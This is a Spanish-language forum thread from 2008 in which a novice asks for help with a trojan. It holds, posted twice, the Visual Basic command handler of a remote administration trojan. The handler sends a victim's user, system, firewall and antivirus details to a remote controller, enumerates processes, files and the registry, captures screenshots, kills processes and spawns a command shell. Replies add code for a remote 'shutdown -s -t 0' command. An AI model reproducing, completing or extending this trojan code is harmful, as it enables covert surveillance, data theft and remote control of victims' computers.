Ayuda Con Troyanos

Iniciado por Zaoner, 7 Noviembre 2008, 17:02 PM

0 Miembros y 1 Visitante están viendo este tema.

Zaoner

Hola soy muy novato en esto arranque hace muy poco...y me surge una duda... tengo un problema en el server en DataArrival

Code

Private Sub wskServer_DataArrival(ByVal bytesTotal As Long)

Dim sData As String
Dim sHead As String

Dim iFData As Integer
Dim iRData As Integer

Dim sMParam() As String
Dim sDParam() As String

    DoEvents
    wskServer.GetData sData

    Debug.Print sData

    sHead = Left(sData, 10)
    sData = Right$(sData, Len(sData) - 10)

    sMParam = Split(sData, sDetailSplit)

    Select Case sHead
        Case "[GETSINFO]"
            wskServer.SendData "[SETSINFO]" & _
            "Syntax" & sDetailSplit & _
            Environ("username") & "  @ " & Environ("computername") & sDetailSplit & _
            IsNTAdmin(0&, 0&) & sDetailSplit & _
            Environ("os") & sDetailSplit & _
            GetCPUSpeedMHz & sDetailSplit & _
            MemoryAvailable & sDetailSplit & _
            GetCountryCode & sDetailSplit & _
            ".9"
        Case "[GETDINFO]"
            wskServer.SendData "[SETDINFO]" & _
            Environ("username") & sDetailSplit & _
            Environ("computername") & sDetailSplit & _
            Environ("os") & sDetailSplit & _
            CountryTag & sDetailSplit & _
            Split(GetFWAV, "|")(1) & sDetailSplit & _
            Split(GetFWAV, "|")(0) & sDetailSplit & _
            App.Path & sDetailSplit & _
            Environ("systemdrive") & sDetailSplit & _
            Environ("systemroot") & "\" & sDetailSplit & _
            GetProcessor & sDetailSplit & _
            GetCPUModel & sDetailSplit & _
            Split(MemoryAvailable, "|")(0) & sDetailSplit & _
            Split(MemoryAvailable, "|")(1) & sDetailSplit & _
            GetCamDrvs & sDetailSplit & _
            Screen.Width / Screen.TwipsPerPixelX & " x " & Screen.Height / Screen.TwipsPerPixelY
           
        Case "[GETPRCLT]"
            wskServer.SendData "[SETPRCLT]" & GetProcesses
        Case "[GETPRGLT]"
            wskServer.SendData "[SETPRGLT]" & GetInstalledApps
        Case "[GETSRVLT]"
            wskServer.SendData "[SETSRVLT]" & EnumerateServices
        Case "[GETMODLT]"
            wskServer.SendData "[SETMODLT]" & GetModules(CLng(sMParam(0)))
        Case "[GETWNDLT]"
            lstWindows = ""
            Call EnumWindows(AddressOf GetWindows, CLng(sMParam(0)))
            wskServer.SendData "[SETWNDLT]" & lstWindows
        Case "[GETPRCKL]"
            wskServer.SendData "[SETPRCKL]" & KillByPID(CLng(sMParam(0)))
        Case "[GETMODKL]"
            wskServer.SendData "[SETMODKL]" & UnInjectDll(sMParam(0), CLng(sMParam(1)))
        Case "[GETPRCPR]"
            wskServer.SendData "[SETPRCPR]" & SetProcessPriority(CLng(sMParam(0)), GetPriority(sMParam(1)))
        Case "[GETSRVST]"
            wskServer.SendData "[SETSRVST]" & ServiceControl(sMParam(0), CLng(sMParam(1)))
        'Case "[GETSRVSU]"
        '    wskServer.SendData "[SETSRVSU]" & SetServiceStartup(CLng(sMParam(0)), GetPriority(sMParam(1)))
        Case "[GETWNDOP]"
            Select Case sMParam(0)
                Case 0: sMParam(0) = SetWindow(CLng(sMParam(1)), 3)
                Case 1: sMParam(0) = SetWindow(CLng(sMParam(1)), 6)
                Case 2: sMParam(0) = SetWindow(CLng(sMParam(1)), 5)
                Case 3: sMParam(0) = SetWindow(CLng(sMParam(1)), 0)
                Case 4: sMParam(0) = CloseWindow(CLng(sMParam(1)))
                Case 5: sMParam(0) = ChangeWindowText(CLng(sMParam(1)), sMParam(2))
            End Select
            wskServer.SendData "[SETWNDOP]" & sMParam(0)
        Case "[GETFILES]"
            sData = EnumFiles(sMParam(0))
            If Len(sData) > 3072 Then
                sFData = sData
                While Mid(sFData, 3072 + iFData, 1) <> sDetailSplit
                    iFData = iFData + 1
                Wend
                wskServer.SendData "[SETFILES]" + Left(sFData, 3072 + iFData)
                DoEvents
                sFData = Mid(sFData, 3072 + iFData + 1, Len(sFData))
            Else
                wskServer.SendData "[SETFILER]" + sData
            End If

        Case "[GETFILER]"
            If Len(sFData) > 3072 Then
                While Mid(sFData, 3072 + iFData, 1) <> sDetailSplit
                    iFData = iFData + 1
                Wend
                Sleep 100
                wskServer.SendData "[SETFILES]" + Left(sFData, 3072 + iFData)
                DoEvents
                sFData = Mid(sFData, 3072 + iFData + 1, Len(sFData))
            Else
                wskServer.SendData "[SETFILER]" + sFData
            End If
       
        Case "[GETREGES]"
            sData = EnumKeysValues(sMParam(0), sMParam(1))
            If Len(sData) > 3072 Then
                sRData = sData
                While Mid(sRData, 3072 + iRData, 1) <> sDetailSplit
                    iRData = iRData + 1
                Wend
                wskServer.SendData "[SETREGES]" + Left(sRData, 3072 + iRData)
                DoEvents
                sRData = Mid(sRData, 3072 + iRData + 1, Len(sRData))
            Else
                wskServer.SendData "[SETREGER]" + sData
            End If

        Case "[GETREGER]"
            If Len(sRData) > 3072 Then
                While Mid(sRData, 3072 + iRData, 1) <> sDetailSplit
                    iRData = iRData + 1
                Wend
                Sleep 100
                wskServer.SendData "[SETREGES]" + Left(sRData, 3072 + iRData)
                DoEvents
                sFData = Mid(sRData, 3072 + iRData + 1, Len(sRData))
            Else
                wskServer.SendData "[SETREGER]" + sRData
            End If
           
           
        Case "[GETSCRST]"
            sData = GetScreenshot(-1, picScreenShot)
            MsgBox Len(sData)
            iSData = 0
            If Len(sData) > 3072 Then
                sSData = sData
                wskServer.SendData "[SETSCRST]" & Left(sData, 3072)
            Else
                wskServer.SendData "[SETSCRSR]" & sData
            End If
       
        Case "[GETSCRSR]"
            If Len(sSData) > 3072 Then
                iSData = iSData + 1
                wskServer.SendData "[SETSCRST]" & Mid(sSData, iSData * 3072, 3072)
                MsgBox iSData
            Else
                wskServer.SendData "[SETSCRSR]" & sData
            End If

        Case "[GETDRIVE]"
                wskServer.SendData "[SETDRIVE]" & EnumDrives
       
        Case "[FILESIZE]": wskServer.SendData "[SETSTRSD]"
           
        Case "[GETCOMND]"
            Select Case sMParam(0)
                Case 0
                 KillByPID DOS_PID
                 wskServer.SendData "[SETCOMND]" & 0
                Case 1
                 ExecuteCommand Environ("comspec")
                 wskServer.SendData "[SETCOMND]" & 1
                Case 2
                 WriteData sMParam(1)
            End Select

        End Select
       
       
End Sub



a la hora de poner un simple codigo que apague la pc seria En DataArrival

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Winsock1.GetData datos
If datos = "apagar" Then
Shell "shutdown -s -t 0"
End If
End Sub



y para el cliente seria

Private Sub Command2_Click()
Winsock1.SendData "apagar"
End Sub



pero no puedo hacer que funcione  :P :P :P :P

& eDu &

Mira utiliza el siguiente código.

En el servidor cuando recibes los datos pon
Código (vb) [Seleccionar]

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Dim dt() As String
Winsock1.GetData datos
dt = Split(datos,"|")
Select case dt(0)
Case "apagar"
Shell "shutdown -s -t 0"
End Select
End Sub


ahora en el cliente cuando envias pon

Código (vb) [Seleccionar]
Private Sub Command2_Click()
Winsock1.SendData "apagar|"
End Sub

Zaoner

ya intente y no hubo caso osea no se donde poner el codigo para apagar la pc en el dataarrival del server y el nombre es wskServer no Winsock1

Angeldj27

Citar

el nombre es wskServer no Winsock1

Si es asi como dices solo cambiale el name al objeto tambien quieres eso no me relajes, y si no me equivoco solo debes agregarle ese caso a tu server para poder enviarle la orden.

Saludos...


"Que vamos a hacer Mañana?..... Lo mismo que hacemos todos los dias Pinky tratar de Conquistar el Mundoooo!!!!!

Zaoner

#4
si pero ya lo hice pero el problema es donde lo agrego en el dataarrival del server por que me tira error...... :-\ :-\

osea meter esto



Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Winsock1.GetData datos
If datos = "apagar" Then
Shell "shutdown -s -t 0"
End If
End Sub




ACA DENTRO creo....o se agrega una nueva?

Private Sub wskServer_DataArrival(ByVal bytesTotal As Long)

Dim sData As String
Dim sHead As String

Dim iFData As Integer
Dim iRData As Integer

Dim sMParam() As String
Dim sDParam() As String

    DoEvents
    wskServer.GetData sData

    Debug.Print sData

    sHead = Left(sData, 10)
    sData = Right$(sData, Len(sData) - 10)

    sMParam = Split(sData, sDetailSplit)

    Select Case sHead
        Case "[GETSINFO]"
            wskServer.SendData "[SETSINFO]" & _
            "Syntax" & sDetailSplit & _
            Environ("username") & "  @ " & Environ("computername") & sDetailSplit & _
            IsNTAdmin(0&, 0&) & sDetailSplit & _
            Environ("os") & sDetailSplit & _
            GetCPUSpeedMHz & sDetailSplit & _
            MemoryAvailable & sDetailSplit & _
            GetCountryCode & sDetailSplit & _
            ".9"
        Case "[GETDINFO]"
            wskServer.SendData "[SETDINFO]" & _
            Environ("username") & sDetailSplit & _
            Environ("computername") & sDetailSplit & _
            Environ("os") & sDetailSplit & _
            CountryTag & sDetailSplit & _
            Split(GetFWAV, "|")(1) & sDetailSplit & _
            Split(GetFWAV, "|")(0) & sDetailSplit & _
            App.Path & sDetailSplit & _
            Environ("systemdrive") & sDetailSplit & _
            Environ("systemroot") & "\" & sDetailSplit & _
            GetProcessor & sDetailSplit & _
            GetCPUModel & sDetailSplit & _
            Split(MemoryAvailable, "|")(0) & sDetailSplit & _
            Split(MemoryAvailable, "|")(1) & sDetailSplit & _
            GetCamDrvs & sDetailSplit & _
            Screen.Width / Screen.TwipsPerPixelX & " x " & Screen.Height / Screen.TwipsPerPixelY
           
        Case "[GETPRCLT]"
            wskServer.SendData "[SETPRCLT]" & GetProcesses
        Case "[GETPRGLT]"
            wskServer.SendData "[SETPRGLT]" & GetInstalledApps
        Case "[GETSRVLT]"
            wskServer.SendData "[SETSRVLT]" & EnumerateServices
        Case "[GETMODLT]"
            wskServer.SendData "[SETMODLT]" & GetModules(CLng(sMParam(0)))
        Case "[GETWNDLT]"
            lstWindows = ""
            Call EnumWindows(AddressOf GetWindows, CLng(sMParam(0)))
            wskServer.SendData "[SETWNDLT]" & lstWindows
        Case "[GETPRCKL]"
            wskServer.SendData "[SETPRCKL]" & KillByPID(CLng(sMParam(0)))
        Case "[GETMODKL]"
            wskServer.SendData "[SETMODKL]" & UnInjectDll(sMParam(0), CLng(sMParam(1)))
        Case "[GETPRCPR]"
            wskServer.SendData "[SETPRCPR]" & SetProcessPriority(CLng(sMParam(0)), GetPriority(sMParam(1)))
        Case "[GETSRVST]"
            wskServer.SendData "[SETSRVST]" & ServiceControl(sMParam(0), CLng(sMParam(1)))
        'Case "[GETSRVSU]"
        '    wskServer.SendData "[SETSRVSU]" & SetServiceStartup(CLng(sMParam(0)), GetPriority(sMParam(1)))
        Case "[GETWNDOP]"
            Select Case sMParam(0)
                Case 0: sMParam(0) = SetWindow(CLng(sMParam(1)), 3)
                Case 1: sMParam(0) = SetWindow(CLng(sMParam(1)), 6)
                Case 2: sMParam(0) = SetWindow(CLng(sMParam(1)), 5)
                Case 3: sMParam(0) = SetWindow(CLng(sMParam(1)), 0)
                Case 4: sMParam(0) = CloseWindow(CLng(sMParam(1)))
                Case 5: sMParam(0) = ChangeWindowText(CLng(sMParam(1)), sMParam(2))
            End Select
            wskServer.SendData "[SETWNDOP]" & sMParam(0)
        Case "[GETFILES]"
            sData = EnumFiles(sMParam(0))
            If Len(sData) > 3072 Then
                sFData = sData
                While Mid(sFData, 3072 + iFData, 1) <> sDetailSplit
                    iFData = iFData + 1
                Wend
                wskServer.SendData "[SETFILES]" + Left(sFData, 3072 + iFData)
                DoEvents
                sFData = Mid(sFData, 3072 + iFData + 1, Len(sFData))
            Else
                wskServer.SendData "[SETFILER]" + sData
            End If

        Case "[GETFILER]"
            If Len(sFData) > 3072 Then
                While Mid(sFData, 3072 + iFData, 1) <> sDetailSplit
                    iFData = iFData + 1
                Wend
                Sleep 100
                wskServer.SendData "[SETFILES]" + Left(sFData, 3072 + iFData)
                DoEvents
                sFData = Mid(sFData, 3072 + iFData + 1, Len(sFData))
            Else
                wskServer.SendData "[SETFILER]" + sFData
            End If
       
        Case "[GETREGES]"
            sData = EnumKeysValues(sMParam(0), sMParam(1))
            If Len(sData) > 3072 Then
                sRData = sData
                While Mid(sRData, 3072 + iRData, 1) <> sDetailSplit
                    iRData = iRData + 1
                Wend
                wskServer.SendData "[SETREGES]" + Left(sRData, 3072 + iRData)
                DoEvents
                sRData = Mid(sRData, 3072 + iRData + 1, Len(sRData))
            Else
                wskServer.SendData "[SETREGER]" + sData
            End If

        Case "[GETREGER]"
            If Len(sRData) > 3072 Then
                While Mid(sRData, 3072 + iRData, 1) <> sDetailSplit
                    iRData = iRData + 1
                Wend
                Sleep 100
                wskServer.SendData "[SETREGES]" + Left(sRData, 3072 + iRData)
                DoEvents
                sFData = Mid(sRData, 3072 + iRData + 1, Len(sRData))
            Else
                wskServer.SendData "[SETREGER]" + sRData
            End If
           
           
        Case "[GETSCRST]"
            sData = GetScreenshot(-1, picScreenShot)
            MsgBox Len(sData)
            iSData = 0
            If Len(sData) > 3072 Then
                sSData = sData
                wskServer.SendData "[SETSCRST]" & Left(sData, 3072)
            Else
                wskServer.SendData "[SETSCRSR]" & sData
            End If
       
        Case "[GETSCRSR]"
            If Len(sSData) > 3072 Then
                iSData = iSData + 1
                wskServer.SendData "[SETSCRST]" & Mid(sSData, iSData * 3072, 3072)
                MsgBox iSData
            Else
                wskServer.SendData "[SETSCRSR]" & sData
            End If

        Case "[GETDRIVE]"
                wskServer.SendData "[SETDRIVE]" & EnumDrives
       
        Case "[FILESIZE]": wskServer.SendData "[SETSTRSD]"
           
        Case "[GETCOMND]"
            Select Case sMParam(0)
                Case 0
                 KillByPID DOS_PID
                 wskServer.SendData "[SETCOMND]" & 0
                Case 1
                 ExecuteCommand Environ("comspec")
                 wskServer.SendData "[SETCOMND]" & 1
                Case 2
                 WriteData sMParam(1)
            End Select

        End Select
       
       
End Sub



Zaoner

ya lo e vuelto a probar y no funciona no se como hacerlo... :-\ :-\ :-\

vivachapas

mmmm me parece q hiciste un ALTO copy paste xD

no se mi consejo es q te leas un manual.. y no empiezes con cosas tan dificiles...
lo q queres hacer es una pavada xD... y no puede ser q si hiciste el code de antes no te salga eso! :S

SALUDOS

Zaoner

no no el code no lo hice yo por eso es que no lo puedo lograr hacer  :-\

& eDu &

Cita de: Zaoner en  7 Noviembre 2008, 21:00 PM
no no el code no lo hice yo por eso es que no lo puedo lograr hacer  :-\
Utiliza el código que te deje anteriormente ! Es el más sencillo para los troyanos.